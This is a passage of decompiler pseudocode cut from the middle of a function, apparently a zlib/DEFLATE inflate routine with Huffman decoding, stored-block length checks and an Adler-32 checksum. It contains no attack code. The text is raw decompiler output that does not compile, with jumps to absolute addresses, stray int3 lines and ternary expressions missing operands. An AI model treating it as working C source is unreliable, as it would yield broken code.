																					__eflags =  *(_t1029 + 0x18) - 2;
																					if( *(_t1029 + 0x18) != 2) {
																						L217:
																						 *(_t1029 + 0x18) =  *(_t1029 + 0x18) - 1;
																						continue;
																					} else {
																						L177:
																						_t907 = 0;
																						__eflags = 0;
																						while(1) {
																							L178:
																							_t1013 =  *(_t1066 - 4);
																							while(1) {
																								L179:
																								 *(_t1066 - 8) = _t907;
																								__eflags = _t907 -  *(_t1029 + 0x30) +  *(_t1029 + 0x2c);
																								if(_t907 >=  *(_t1029 + 0x30) +  *(_t1029 + 0x2c)) {
																									break;
																								}
																								L180:
																								__eflags = _t1065 - 0xf;
																								if(_t1065 >= 0xf) {
																									L197:
																									_t756 =  *((short*)(_t1029 + 0x1ca0 + (_t1013 & 0x000003ff) * 2));
																									 *(_t1066 - 0x28) = _t756;
																									__eflags = _t756;
																									if(_t756 < 0) {
																										L199:
																										L200:
																										do {
																											L201:
																											 *(_t1066 - 0x28) =  !( *(_t1066 - 0x28));
																											_t758 = _t1013 >> _t907;
																											_t907 = _t907 + 1;
																											_t595 =  *((short*)(_t1029 + 0x24a0 + ((_t758 & 0x00000001) +  *(_t1066 - 0x28)) * 2));
																											 *(_t1066 - 0x28) = _t595;
																											__eflags = _t595;
																										} while (_t595 < 0);
																									} else {
																										L198:
																										_t907 = _t756 >> 9;
																										_t595 = _t756 & 0x000001ff;
																										 *(_t1066 - 0x28) = _t595;
																									}
																									L202:
																									_t1013 = _t1013 >> _t907;
																									_t1050 = _t1065 - _t907;
																									 *(_t1066 - 4) = _t1013;
																									 *(_t1066 - 0x1c) = _t1050;
																									__eflags = _t595 - 0x10;
																									if(__eflags >= 0) {
																										L204:
																										if(__eflags != 0) {
																											L207:
																											_t908 =  *((char*)(_t595 + 0x2aeff0));
																											 *(_t1066 - 0x38) = _t908;
																											__eflags = _t1050 - _t908;
																											if(_t1050 >= _t908) {
																												L211:
																												_t1050 = _t1050 - _t908;
																												 *(_t1066 - 0x1c) = _t1050;
																												_t909 =  *(_t1066 - 0x14);
																												_t1039 = ((0x00000001 << _t908) - 0x00000001 & _t1013) +  *((char*)(_t595 + 0x2aeff8));
																												__eflags =  *(_t1066 - 0x28) - 0x10;
																												_t762 =  *(_t1066 - 8);
																												 *(_t1066 - 4) = _t1013 >> _t908;
																												if( *(_t1066 - 0x28) != 0x10) {
																													_t1016 = 0;
																													__eflags = 0;
																												} else {
																													_t1016 =  *(_t762 + _t909 + 0x2923) & 0x000000ff;
																												}
																												L214:
																												memset(_t762 + _t909 + 0x2924, _t1016, _t1039);
																												_t1068 = _t1068 + 0xc;
																												_t907 =  *(_t1066 - 8) + _t1039;
																												_t1029 =  *(_t1066 - 0x14);
																												L178:
																												_t1013 =  *(_t1066 - 4);
																												continue;
																											} else {
																												while(1) {
																													L208:
																													__eflags = _t846 -  *(_t1066 - 0x20);
																													if(_t846 >=  *(_t1066 - 0x20)) {
																														break;
																													}
																													L209:
																													_t595 = ( *_t846 & 0x000000ff) << _t1050;
																													_t846 = _t846 + 1;
																													_t908 =  *(_t1066 - 0x38);
																													_t1013 = _t1013 | _t595;
																													_t1050 = _t1050 + 8;
																													 *(_t1066 - 0x18) = _t846;
																													 *(_t1066 - 4) = _t1013;
																													__eflags = _t1050 - _t908;
																													if(_t1050 < _t908) {
																														continue;
																													} else {
																														L210:
																														_t595 =  *(_t1066 - 0x28);
																														goto L211;
																													}
																													goto L295;
																												}
																												L251:
																												 *_t1029 = 0x12;
																												goto L285;
																											}
																										} else {
																											L205:
																											_t766 =  *(_t1066 - 8);
																											__eflags = _t766;
																											if(_t766 == 0) {
																												L268:
																												_t684 = _t766 | 0xffffffff;
																												 *_t1029 = 0x11;
																												goto L291;
																											} else {
																												L206:
																												_t595 =  *(_t1066 - 0x28);
																												goto L207;
																											}
																										}
																									} else {
																										L203:
																										_t913 =  *(_t1066 - 8);
																										 *(_t1029 + 0x2924 + _t913) = _t595;
																										_t907 = _t913 + 1;
																										continue;
																									}
																								} else {
																									L181:
																									__eflags =  *(_t1066 - 0x20) - _t846 - 2;
																									if( *(_t1066 - 0x20) - _t846 >= 2) {
																										L195:
																										_t1017 =  *(_t846 + 1) & 0x000000ff;
																										_t769 =  *_t846 & 0x000000ff;
																										_t846 = _t846 + 2;
																										_t907 = _t1065;
																										 *(_t1066 - 0x18) = _t846;
																										 *(_t1066 - 4) =  *(_t1066 - 4) | _t1017 << _t1065 + 0x00000008 | _t769 << _t907;
																										_t1065 = _t1065 + 0x10;
																										__eflags = _t1065;
																										_t1013 =  *(_t1066 - 4);
																										goto L196;
																									} else {
																										do {
																											L182:
																											_t595 = _t1013 & 0x000003ff;
																											_t1040 =  *((short*)(_t1029 + 0x1ca0 + _t595 * 2));
																											__eflags = _t1040;
																											if(_t1040 < 0) {
																												L186:
																												__eflags = _t1065 - 0xa;
																												if(_t1065 <= 0xa) {
																													goto L191;
																												} else {
																													L187:
																													L188:
																													 *(_t1066 - 0x24) = _t907;
																													while(1) {
																														L189:
																														_t1040 =  *((short*)( *(_t1066 - 0x14) + 0x24a0 + ((_t1013 >> _t907 & 0x00000001) +  !_t1040) * 2));
																														_t907 =  *(_t1066 - 0x24) + 1;
																														 *(_t1066 - 0x24) = _t907;
																														__eflags = _t1040;
																														if(_t1040 >= 0) {
																															goto L196;
																														}
																														L190:
																														_t595 = _t907 + 1;
																														__eflags = _t1065 - _t595;
																														if(_t1065 >= _t595) {
																															continue;
																														} else {
																															goto L191;
																														}
																														goto L295;
																													}
																													goto L196;
																												}
																											} else {
																												L183:
																												_t1042 = _t1040 >> 9;
																												__eflags = _t1042;
																												if(_t1042 == 0) {
																													L191:
																													_t1029 =  *(_t1066 - 0x14);
																													L192:
																													__eflags = _t846 -  *(_t1066 - 0x20);
																													if(_t846 >=  *(_t1066 - 0x20)) {
																														L250:
																														 *_t1029 = 0x10;
																														goto L285;
																													} else {
																														goto L193;
																													}
																												} else {
																													L184:
																													__eflags = _t1065 - _t1042;
																													if(_t1065 >= _t1042) {
																														L196:
																														_t1029 =  *(_t1066 - 0x14);
																														goto L197;
																													} else {
																														L185:
																														goto L191;
																													}
																												}
																											}
																											goto L295;
																											L193:
																											_t907 = _t1065;
																											_t773 = ( *_t846 & 0x000000ff) << _t907;
																											_t846 = _t846 + 1;
																											_t1013 = _t1013 | _t773;
																											 *(_t1066 - 0x18) = _t846;
																											_t1065 = _t1065 + 8;
																											 *(_t1066 - 4) = _t1013;
																											__eflags = _t1065 - 0xf;
																										} while (_t1065 < 0xf);
																										goto L197;
																									}
																								}
																								goto L295;
																							}
																							L215:
																							_t1014 =  *(_t1029 + 0x2c);
																							_t745 =  *(_t1029 + 0x30) + _t1014;
																							__eflags = _t745 - _t907;
																							if(_t745 != _t907) {
																								L269:
																								_t684 = _t745 | 0xffffffff;
																								 *_t1029 = 0x15;
																								goto L291;
																							} else {
																								L216:
																								memcpy(_t1029 + 0x40, _t1029 + 0x2924, _t1014);
																								_t751 =  *(_t1029 + 0x2c) + 0x2924 + _t1029;
																								__eflags = _t751;
																								memcpy(_t1029 + 0xde0, _t751,  *(_t1029 + 0x30));
																								_t1068 = _t1068 + 0x18;
																								goto L217;
																							}
																							goto L295;
																						}
																					}
																				} else {
																					L149:
																					__eflags = _t906 - 1;
																					if(_t906 > 1) {
																						L267:
																						 *(_t1066 - 0xc) = 0xffffffff;
																						 *_t1029 = 0x23;
																						goto L292;
																					} else {
																						goto L150;
																					}
																				}
																				goto L295;
																			}
																			L218:
																			_t988 =  *(_t1066 - 4);
																			while(1) {
																				L38:
																				_t883 =  *(_t1066 - 0x20) - _t846;
																				__eflags = _t883 - 4;
																				if(_t883 < 4) {
																					goto L57;
																				}
																				goto L39;
																			}
																			goto L57;
																		}
																	}
																} else {
																	L89:
																	_t595 = _t1050 & 0x00000007;
																	__eflags = _t1050 - _t595;
																	if(_t1050 >= _t595) {
																		L92:
																		_t940 = _t1050 & 0x00000007;
																		_t987 = _t997 >> _t940;
																		_t1050 = _t1050 - _t940;
																		 *(_t1066 - 4) = _t987;
																		_t941 = 0;
																		__eflags = 0;
																		while(1) {
																			L93:
																			 *(_t1066 - 8) = _t941;
																			__eflags = _t941 - 4;
																			if(_t941 >= 4) {
																				break;
																			}
																			L94:
																			__eflags = _t1050;
																			if(_t1050 == 0) {
																				L100:
																				__eflags = _t846 -  *(_t1066 - 0x20);
																				if(_t846 >=  *(_t1066 - 0x20)) {
																					L244:
																					 *_t1029 = 7;
																					goto L285;
																				} else {
																					L101:
																					_t595 =  *_t846;
																					_t846 = _t846 + 1;
																					(_t1029 + 0x2920)[_t941] = _t595;
																					_t941 = _t941 + 1;
																					 *(_t1066 - 0x18) = _t846;
																					continue;
																				}
																			} else {
																				L95:
																				__eflags = _t1050 - 8;
																				if(_t1050 >= 8) {
																					L99:
																					(_t1029 + 0x2920)[_t941] = _t987;
																					_t1050 = _t1050 - 8;
																					_t987 = _t987 >> 8;
																					_t941 = _t941 + 1;
																					 *(_t1066 - 4) = _t987;
																					continue;
																				} else {
																					while(1) {
																						L96:
																						__eflags = _t846 -  *(_t1066 - 0x20);
																						if(_t846 >=  *(_t1066 - 0x20)) {
																							break;
																						}
																						L97:
																						_t595 = ( *_t846 & 0x000000ff) << _t1050;
																						_t846 = _t846 + 1;
																						_t987 = _t987 | _t595;
																						 *(_t1066 - 0x18) = _t846;
																						_t1050 = _t1050 + 8;
																						 *(_t1066 - 4) = _t987;
																						__eflags = _t1050 - 8;
																						if(_t1050 < 8) {
																							continue;
																						} else {
																							L98:
																							_t941 =  *(_t1066 - 8);
																							goto L99;
																						}
																						goto L295;
																					}
																					L243:
																					 *_t1029 = 6;
																					goto L285;
																				}
																			}
																			goto L295;
																		}
																		L102:
																		_t595 =  *(_t1029 + 0x2922) & 0x000000ff;
																		 *(_t1066 - 8) = ( *(_t1029 + 0x2921) & 0x000000ff) << 0x00000008 |  *(_t1029 + 0x2920) & 0x000000ff;
																		__eflags =  *(_t1066 - 8) - ((( *(_t1029 + 0x2923) & 0x000000ff) << 0x00000008 | _t595) ^ 0x0000ffff);
																		if( *(_t1066 - 8) != ((( *(_t1029 + 0x2923) & 0x000000ff) << 0x00000008 | _t595) ^ 0x0000ffff)) {
																			L265:
																			 *(_t1066 - 0xc) = 0xffffffff;
																			 *_t1029 = 0x27;
																			goto L292;
																		} else {
																			L103:
																			_t949 =  *(_t1066 - 8);
																			while(1) {
																				L104:
																				__eflags = _t949;
																				if(_t949 == 0) {
																					goto L84;
																				}
																				L105:
																				__eflags = _t1050;
																				if(_t1050 == 0) {
																					L112:
																					_t595 =  *(_t1066 - 0x10);
																					while(1) {
																						L113:
																						__eflags = _t949;
																						if(_t949 == 0) {
																							break;
																						}
																						L115:
																						_t1025 =  *((intOrPtr*)(_t1066 - 0x40));
																						__eflags = _t595 - _t1025;
																						if(_t595 < _t1025) {
																							L117:
																							_t595 =  *(_t1066 - 0x20);
																							__eflags = _t846 - _t595;
																							if(_t846 >= _t595) {
																								L247:
																								_t1029 =  *(_t1066 - 0x14);
																								 *_t1029 = 0x26;
																								goto L285;
																							} else {
																								L118:
																								_t987 = _t1025 -  *(_t1066 - 0x10);
																								_t1047 = _t595 - _t846;
																								__eflags = _t987 - _t1047;
																								_t817 =  <  ? _t987 : _t1047;
																								__eflags = ( <  ? _t987 : _t1047) - _t949;
																								if(( <  ? _t987 : _t1047) >= _t949) {
																									_t1029 = _t949;
																								} else {
																									__eflags = _t987 - _t1047;
																									_t1029 =  <  ? _t987 : _t1047;
																								}
																								L121:
																								L122:
																								memcpy();
																								_t846 = _t846 + _t1029;
																								_t595 =  *(_t1066 - 0x10) + _t1029;
																								_t1068 = _t1068 + 0xc;
																								 *(_t1066 - 0x18) = _t846;
																								_t949 =  *(_t1066 - 8) - _t1029;
																								 *(_t1066 - 0x10) = _t595;
																								 *(_t1066 - 8) = _t949;
																								continue;
																							}
																						} else {
																							L116:
																							_t1029 =  *(_t1066 - 0x14);
																							 *(_t1066 - 0xc) = 2;
																							 *_t1029 = 9;
																							goto L292;
																						}
																						goto L295;
																					}
																					L114:
																					goto 0x2c14b1;
																					asm("int3");
																					goto L84;
																				} else {
																					L106:
																					__eflags = _t1050 - 8;
																					if(_t1050 >= 8) {
																						L109:
																						_t595 = _t987 & 0x000000ff;
																						_t987 = _t987 >> 8;
																						_t1050 = _t1050 - 8;
																						 *(_t1066 - 0x28) = _t595;
																						 *(_t1066 - 4) = _t987;
																						L110:
																						__eflags =  *(_t1066 - 0x10) -  *((intOrPtr*)(_t1066 - 0x40));
																						_t1029 =  *(_t1066 - 0x14);
																						if( *(_t1066 - 0x10) >=  *((intOrPtr*)(_t1066 - 0x40))) {
																							L246:
																							 *(_t1066 - 0xc) = 2;
																							 *_t1029 = 0x34;
																							goto L292;
																						} else {
																							L111:
																							 *(_t1066 - 0x10) =  *(_t1066 - 0x10) + 1;
																							 *( *(_t1066 - 0x10)) = _t595;
																							_t949 =  *(_t1066 - 8) - 1;
																							 *(_t1066 - 8) = _t949;
																							continue;
																						}
																					} else {
																						while(1) {
																							L107:
																							__eflags = _t846 -  *(_t1066 - 0x20);
																							if(_t846 >=  *(_t1066 - 0x20)) {
																								break;
																							}
																							L108:
																							_t595 = ( *_t846 & 0x000000ff) << _t1050;
																							_t846 = _t846 + 1;
																							_t987 = _t987 | _t595;
																							 *(_t1066 - 0x18) = _t846;
																							_t1050 = _t1050 + 8;
																							 *(_t1066 - 4) = _t987;
																							__eflags = _t1050 - 8;
																							if(_t1050 < 8) {
																								continue;
																							} else {
																								goto L109;
																							}
																							goto L295;
																						}
																						L245:
																						 *_t1029 = 0x33;
																						goto L285;
																					}
																				}
																				goto L295;
																			}
																			continue;
																		}
																	} else {
																		while(1) {
																			L90:
																			__eflags = _t846 -  *(_t1066 - 0x20);
																			if(_t846 >=  *(_t1066 - 0x20)) {
																				break;
																			}
																			L91:
																			_t823 = ( *_t846 & 0x000000ff) << _t1050;
																			_t1050 = _t1050 + 8;
																			_t997 = _t997 | _t823;
																			_t846 = _t846 + 1;
																			 *(_t1066 - 0x18) = _t846;
																			_t595 = _t1050 & 0x00000007;
																			 *(_t1066 - 4) = _t997;
																			__eflags = _t1050 - _t595;
																			if(_t1050 < _t595) {
																				continue;
																			} else {
																				goto L92;
																			}
																			goto L295;
																		}
																		L242:
																		 *_t1029 = 5;
																		goto L285;
																	}
																}
															} else {
																while(1) {
																	L86:
																	__eflags = _t846 -  *(_t1066 - 0x20);
																	if(_t846 >=  *(_t1066 - 0x20)) {
																		break;
																	}
																	L87:
																	_t595 = ( *_t846 & 0x000000ff) << _t1064;
																	_t846 = _t846 + 1;
																	_t987 = _t987 | _t595;
																	 *(_t1066 - 0x18) = _t846;
																	_t1050 = _t1064 + 8;
																	 *(_t1066 - 4) = _t987;
																	__eflags = _t1050 - 3;
																	if(_t1050 < 3) {
																		continue;
																	} else {
																		goto L88;
																	}
																	goto L295;
																}
																L241:
																 *_t1029 = 3;
																goto L285;
															}
															goto L295;
														}
														L252:
														_t595 = _t1064 & 0x00000007;
														__eflags = _t1064 - _t595;
														if(_t1064 >= _t595) {
															L256:
															_t683 =  *(_t1066 - 0x3c);
															_t890 = _t1064 & 0x00000007;
															_t992 = _t987 >> _t890;
															_t1050 = _t1064 - _t890;
															 *(_t1066 - 4) = _t992;
															__eflags = _t846 - _t683;
															if(_t846 > _t683) {
																while(1) {
																	L257:
																	__eflags = _t1050 - 8;
																	if(_t1050 < 8) {
																		goto L259;
																	}
																	L258:
																	_t846 = _t846 - 1;
																	_t1050 = _t1050 - 8;
																	__eflags = _t846 - _t683;
																	if(_t846 > _t683) {
																		continue;
																	}
																	goto L259;
																}
															}
															L259:
															L260:
															_t595 = _t1050;
															asm("bts edx, eax");
															__eflags = _t595 - 0x20;
															_t892 =  >=  ? _t992 : 0;
															_t993 = _t992 ^ _t892;
															__eflags = _t595 - 0x40;
															_t893 =  >=  ? _t993 : _t892;
															 *(_t1066 - 4) =  *(_t1066 - 4) & _t993 - 0x00000001;
															__eflags =  *(_t1066 + 0x18) & 0x00000001;
															if(( *(_t1066 + 0x18) & 0x00000001) == 0) {
																L290:
																_t684 = 0;
																__eflags = 0;
																 *_t1029 = 0x22;
																goto L291;
															} else {
																L261:
																_t894 = 0;
																while(1) {
																	L277:
																	 *(_t1066 - 8) = _t894;
																	__eflags = _t894 - 4;
																	if(_t894 >= 4) {
																		goto L290;
																	}
																	L278:
																	__eflags = _t1050;
																	if(_t1050 != 0) {
																		L281:
																		_t995 =  *(_t1066 - 4);
																		__eflags = _t1050 - 8;
																		if(_t1050 >= 8) {
																			L275:
																			_t685 = _t995 & 0x000000ff;
																			_t1050 = _t1050 - 8;
																			__eflags = _t1050;
																			 *(_t1066 - 4) = _t995 >> 8;
																			goto L276;
																		} else {
																			L282:
																			while(1) {
																				L272:
																				__eflags = _t846 -  *(_t1066 - 0x20);
																				if(_t846 >=  *(_t1066 - 0x20)) {
																					break;
																				}
																				L273:
																				_t595 = ( *_t846 & 0x000000ff) << _t1050;
																				_t1050 = _t1050 + 8;
																				_t995 = _t995 | _t595;
																				_t846 = _t846 + 1;
																				 *(_t1066 - 4) = _t995;
																				__eflags = _t1050 - 8;
																				if(_t1050 < 8) {
																					continue;
																				} else {
																					L274:
																					_t894 =  *(_t1066 - 8);
																					goto L275;
																				}
																				goto L295;
																			}
																			L284:
																			 *_t1029 = 0x29;
																			goto L285;
																		}
																	} else {
																		L279:
																		__eflags = _t846 -  *(_t1066 - 0x20);
																		if(_t846 >=  *(_t1066 - 0x20)) {
																			L283:
																			 *_t1029 = 0x2a;
																			goto L285;
																		} else {
																			L280:
																			_t685 =  *_t846 & 0x000000ff;
																			_t846 = _t846 + 1;
																			L276:
																			 *(_t1066 - 0x24) = _t685;
																			_t595 =  *(_t1029 + 0x10) << 0x00000008 |  *(_t1066 - 0x24);
																			_t894 = _t894 + 1;
																			__eflags = _t894;
																			 *(_t1029 + 0x10) = _t595;
																			continue;
																		}
																	}
																	goto L295;
																}
																goto L290;
															}
														} else {
															L253:
															while(1) {
																L254:
																__eflags = _t846 -  *(_t1066 - 0x20);
																if(_t846 >=  *(_t1066 - 0x20)) {
																	break;
																}
																L255:
																_t1050 = _t1064 + 8;
																_t987 = _t987 | ( *_t846 & 0x000000ff) << _t1064;
																_t846 = _t846 + 1;
																 *(_t1066 - 4) = _t987;
																_t595 = _t1050 & 0x00000007;
																__eflags = _t1050 - _t595;
																if(_t1050 < _t595) {
																	continue;
																} else {
																	goto L256;
																}
																goto L295;
															}
															L271:
															 *_t1029 = 0x20;
															goto L285;
														}
													}
												} else {
													L48:
													__eflags = _t1064 - 0xf;
													if(_t1064 < 0xf) {
														_t1006 =  *(_t846 + 1) & 0x000000ff;
														_t884 = _t1064;
														_t723 =  *_t846 & 0x000000ff;
														_t846 = _t846 + 2;
														_t1029 =  *(_t1066 - 0x14);
														 *(_t1066 - 0x18) = _t846;
														 *(_t1066 - 4) =  *(_t1066 - 4) | (_t1006 << 0x00000008 | _t723) << _t884;
														_t1064 = _t1064 + 0x10;
														__eflags = _t1064;
														_t987 =  *(_t1066 - 4);
													}
													_t716 =  *((short*)(_t1029 + 0x160 + (_t987 & 0x000003ff) * 2));
													 *(_t1066 - 0x1c) = _t716;
													__eflags = _t716;
													if(_t716 < 0) {
														L52:
														goto 0x2c1472;
														asm("int3");
														asm("int3");
														asm("int3");
														do {
															L53:
															_t718 = _t987 >> _t884;
															_t884 = _t884 + 1;
															_t846 =  *((short*)(_t1029 + 0x960 + ((_t718 & 0x00000001) +  !_t846) * 2));
															__eflags = _t846;
														} while (_t846 < 0);
														 *(_t1066 - 0x1c) = _t846;
														_t846 =  *(_t1066 - 0x18);
													} else {
														L51:
														_t884 = _t716 >> 9;
													}
													L55:
													_t595 =  *(_t1066 - 8);
													_t1064 = _t1064 - _t884;
													_t987 = _t987 >> _t884;
													 *(_t1066 - 4) = _t987;
													 *( *(_t1066 - 0x10)) = _t595;
													_t884 =  *(_t1066 - 0x1c);
													__eflags = _t884 & 0x00000100;
													if((_t884 & 0x00000100) != 0) {
														L82:
														_t168 = _t1066 - 0x10;
														 *_t168 =  *(_t1066 - 0x10) + 1;
														__eflags =  *_t168;
														goto L83;
													} else {
														L56:
														_t721 =  *(_t1066 - 0x10);
														 *(_t721 + 1) = _t884;
														 *(_t1066 - 0x10) = _t721 + 2;
														while(1) {
															L38:
															_t883 =  *(_t1066 - 0x20) - _t846;
															__eflags = _t883 - 4;
															if(_t883 < 4) {
																goto L57;
															}
															goto L39;
														}
													}
												}
											}
											goto L295;
											L57:
											__eflags = _t1050 - 0xf;
											if(_t1050 >= 0xf) {
												L74:
												_t669 =  *((short*)(_t1029 + 0x160 + (_t988 & 0x000003ff) * 2));
												 *(_t1066 - 8) = _t669;
												__eflags = _t669;
												if(_t669 < 0) {
													L76:
													goto 0x2c149b;
													asm("int3");
													asm("int3");
													asm("int3");
													do {
														L77:
														_t671 = _t988 >> _t883;
														_t883 = _t883 + 1;
														_t595 = (_t671 & 0x00000001) +  !_t846;
														_t846 =  *((short*)(_t1029 + 0x960 + _t595 * 2));
														__eflags = _t846;
													} while (_t846 < 0);
													 *(_t1066 - 8) = _t846;
													_t846 =  *(_t1066 - 0x18);
												} else {
													L75:
													_t883 = _t669 >> 9;
													_t595 = _t669 & 0x000001ff;
													 *(_t1066 - 8) = _t595;
												}
												L79:
												_t987 = _t988 >> _t883;
												_t1064 = _t1050 - _t883;
												_t884 =  *(_t1066 - 8);
												 *(_t1066 - 4) = _t987;
												__eflags = _t884 - 0x100;
												if(_t884 >= 0x100) {
													goto L83;
												} else {
													L80:
													_t825 =  *(_t1066 - 0x10);
													__eflags = _t825 -  *((intOrPtr*)(_t1066 - 0x40));
													if(_t825 >=  *((intOrPtr*)(_t1066 - 0x40))) {
														L240:
														 *(_t1066 - 0xc) = 2;
														 *_t1029 = 0x18;
														goto L292;
													} else {
														L81:
														 *_t825 = _t884;
														 *(_t1066 - 0x10) = _t825 + 1;
														continue;
													}
												}
											} else {
												L58:
												__eflags = _t883 - 2;
												if(_t883 >= 2) {
													L72:
													_t999 =  *(_t846 + 1) & 0x000000ff;
													_t697 =  *_t846 & 0x000000ff;
													_t846 = _t846 + 2;
													_t883 = _t1050;
													 *(_t1066 - 0x18) = _t846;
													 *(_t1066 - 4) =  *(_t1066 - 4) | _t999 << _t1050 + 0x00000008 | _t697 << _t883;
													_t1050 = _t1050 + 0x10;
													__eflags = _t1050;
													_t988 =  *(_t1066 - 4);
													goto L73;
												} else {
													do {
														L59:
														_t595 = _t988 & 0x000003ff;
														_t1032 =  *((short*)(_t1029 + 0x160 + _t595 * 2));
														__eflags = _t1032;
														if(_t1032 < 0) {
															L63:
															__eflags = _t1050 - 0xa;
															if(_t1050 <= 0xa) {
																goto L68;
															} else {
																L64:
																 *(_t1066 - 0x1c) = _t883;
																while(1) {
																	L66:
																	_t1032 =  *((short*)( *(_t1066 - 0x14) + 0x960 + ((_t988 >> _t883 & 0x00000001) +  !_t1032) * 2));
																	_t883 =  *(_t1066 - 0x1c) + 1;
																	 *(_t1066 - 0x1c) = _t883;
																	__eflags = _t1032;
																	if(_t1032 >= 0) {
																		goto L73;
																	}
																	L67:
																	_t595 = _t883 + 1;
																	__eflags = _t1050 - _t595;
																	if(_t1050 >= _t595) {
																		continue;
																	} else {
																		goto L68;
																	}
																	goto L295;
																}
																goto L73;
															}
														} else {
															L60:
															_t1034 = _t1032 >> 9;
															__eflags = _t1034;
															if(_t1034 == 0) {
																L68:
																_t1029 =  *(_t1066 - 0x14);
																L69:
																__eflags = _t846 -  *(_t1066 - 0x20);
																if(_t846 >=  *(_t1066 - 0x20)) {
																	L239:
																	 *_t1029 = 0x17;
																	goto L285;
																} else {
																	goto L70;
																}
															} else {
																L61:
																__eflags = _t1050 - _t1034;
																if(_t1050 >= _t1034) {
																	L73:
																	_t1029 =  *(_t1066 - 0x14);
																	goto L74;
																} else {
																	L62:
																	goto L68;
																}
															}
														}
														goto L295;
														L70:
														_t883 = _t1050;
														_t701 = ( *_t846 & 0x000000ff) << _t883;
														_t846 = _t846 + 1;
														_t988 = _t988 | _t701;
														 *(_t1066 - 0x18) = _t846;
														_t1050 = _t1050 + 8;
														 *(_t1066 - 4) = _t988;
														__eflags = _t1050 - 0xf;
													} while (_t1050 < 0xf);
													goto L74;
												}
											}
											goto L295;
										}
									}
								} else {
									L270:
									_t684 = _t595 | 0xffffffff;
									 *_t1029 = 0x25;
									L291:
									 *(_t1066 - 0xc) = _t684;
									goto L292;
								}
							} else {
								L9:
								if(_t1050 >= _t875) {
									L12:
									_t1050 = _t1050 - _t875;
									_t842 = (_t595 << _t875) - 0x00000001 & _t988;
									_t988 = _t988 >> _t875;
									 *(_t1066 - 0x28) =  *(_t1066 - 0x28) + _t842;
									_t595 =  *(_t1066 - 0x28);
									 *(_t1066 - 4) = _t988;
									goto L14;
								} else {
									L10:
									while(_t846 <  *(_t1066 - 0x20)) {
										_t595 = ( *_t846 & 0x000000ff) << _t1050;
										_t846 = _t846 + 1;
										_t875 =  *(_t1066 - 0x38);
										_t988 = _t988 | _t595;
										_t1050 = _t1050 + 8;
										 *(_t1066 - 0x18) = _t846;
										 *(_t1066 - 4) = _t988;
										if(_t1050 < _t875) {
											continue;
										} else {
											goto L12;
										}
										goto L295;
									}
									 *_t1029 = 0x1b;
									L285:
									__eflags =  *(_t1066 + 0x18) & 0x00000002;
									L286:
									L287:
									_t596 =  !=  ? 1 : _t595;
									 *(_t1066 - 0xc) = _t596;
									__eflags = _t596 - 1;
									if(_t596 != 1) {
										L288:
										__eflags = _t596 - 0xfffffffc;
										if(_t596 != 0xfffffffc) {
											L289:
											L292:
											_t641 =  *(_t1066 - 0x3c);
											__eflags = _t846 - _t641;
											if(_t846 > _t641) {
												while(1) {
													L293:
													__eflags = _t1050 - 8;
													if(_t1050 < 8) {
														goto L295;
													}
													L294:
													_t846 = _t846 - 1;
													_t1050 = _t1050 - 8;
													__eflags = _t846 - _t641;
													if(_t846 > _t641) {
														continue;
													}
													goto L295;
												}
											}
										}
									}
								}
							}
							goto L295;
							L4:
							goto 0x2c13e3;
							asm("int3");
							asm("int3");
							asm("int3");
							do {
								L6:
								_t657 = _t987 >> _t872;
								_t872 = _t872 + 1;
								_t846 =  *((short*)(_t1029 + 0x1700 + ((_t657 & 0x00000001) +  !_t846) * 2));
								__eflags = _t846;
							} while (_t846 < 0);
							 *(_t1066 - 0x1c) = _t846;
							_t846 =  *(_t1066 - 0x18);
							_t660 =  *(_t1066 - 0x1c);
							goto L8;
						}
					}
					L295:
					_t968 =  *(_t1066 - 4);
					L296:
					 *(_t1029 + 4) = _t1050;
					asm("bts ecx, esi");
					__eflags = _t1050 - 0x20;
					_t598 =  >=  ? 0 : 0;
					_t860 = 0 ^ _t598;
					__eflags = _t1050 - 0x40;
					_t599 =  >=  ? _t860 : _t598;
					 *(_t1029 + 0x20) =  *(_t1066 - 0x28);
					_t970 =  *(_t1066 - 0x10) -  *(_t1066 + 0x10);
					__eflags =  *(_t1066 + 0x18) & 0x00000009;
					 *(_t1029 + 0x24) =  *(_t1066 - 8);
					 *(_t1029 + 0x28) =  *(_t1066 - 0x38);
					 *((intOrPtr*)(_t1029 + 0x3c)) =  *((intOrPtr*)(_t1066 - 0x48));
					 *(_t1029 + 0x38) = _t860 - 0x00000001 & _t968;
					 *(_t1066 - 0x10) = _t970;
					 *((intOrPtr*)( *((intOrPtr*)(_t1066 + 8)))) = _t846 -  *(_t1066 - 0x3c);
					_t848 =  *(_t1066 - 0xc);
					 *( *(_t1066 + 0x14)) = _t970;
					if(( *(_t1066 + 0x18) & 0x00000009) != 0) {
						L297:
						__eflags = _t848;
						if(_t848 >= 0) {
							L298:
							_t1052 =  *(_t1029 + 0x1c);
							_t863 = _t1052 & 0x0000ffff;
							_t609 = (0x5e6ea9af * _t970 >> 0x20 >> 0xb) * 0x15b0;
							_t1053 = _t1052 >> 0x10;
							 *(_t1066 - 0x3c) = _t1053;
							_t974 =  *(_t1066 - 0x10) - _t609;
							__eflags =  *(_t1066 - 0x10);
							 *(_t1066 - 0x34) = _t974;
							if( *(_t1066 - 0x10) != 0) {
								L299:
								_t850 = _t974;
								do {
									L300:
									_t975 = 0;
									 *(_t1066 + 0x14) = 0;
									__eflags = _t850 - 7;
									if(_t850 > 7) {
										L301:
										goto 0x2c15c6;
										asm("int3");
										asm("int3");
										asm("int3");
										L302:
										_t1031 = _t1029 - _t609;
										__eflags = _t1031;
										do {
											L303:
											_t975 =  &(_t975[2]);
											_t865 = _t863 + ( *_t609 & 0x000000ff);
											_t866 = _t865 + ( *( *(_t1066 + 0x10) + 1) & 0x000000ff);
											_t867 = _t866 + ( *( *(_t1066 + 0x10) + 2) & 0x000000ff);
											_t868 = _t867 + ( *( *(_t1066 + 0x10) + 3) & 0x000000ff);
											_t869 = _t868 + ( *( *(_t1066 + 0x10) + 4) & 0x000000ff);
											_t870 = _t869 + ( *( *(_t1066 + 0x10) + 5) & 0x000000ff);
											_t871 = _t870 + ( *( *(_t1066 + 0x10) + 6) & 0x000000ff);
											_t863 = _t871 + ( *( *(_t1066 + 0x10) + 7) & 0x000000ff);
											_t639 =  *(_t1066 + 0x10) + 8;
											_t1053 = _t1053 + _t865 + _t866 + _t867 + _t868 + _t869 + _t870 + _t871 + _t863;
											 *(_t1066 + 0x10) = _t639;
											__eflags = _t639 + _t1031 - _t850;
											_t609 =  *(_t1066 + 0x10);
										} while (_t639 + _t1031 < _t850);
										 *(_t1066 + 0x14) = _t975;
										 *(_t1066 - 0x3c) = _t1053;
									}
									L305:
									_t1029 = 0;
									 *((intOrPtr*)(_t1066 + 8)) = 0;
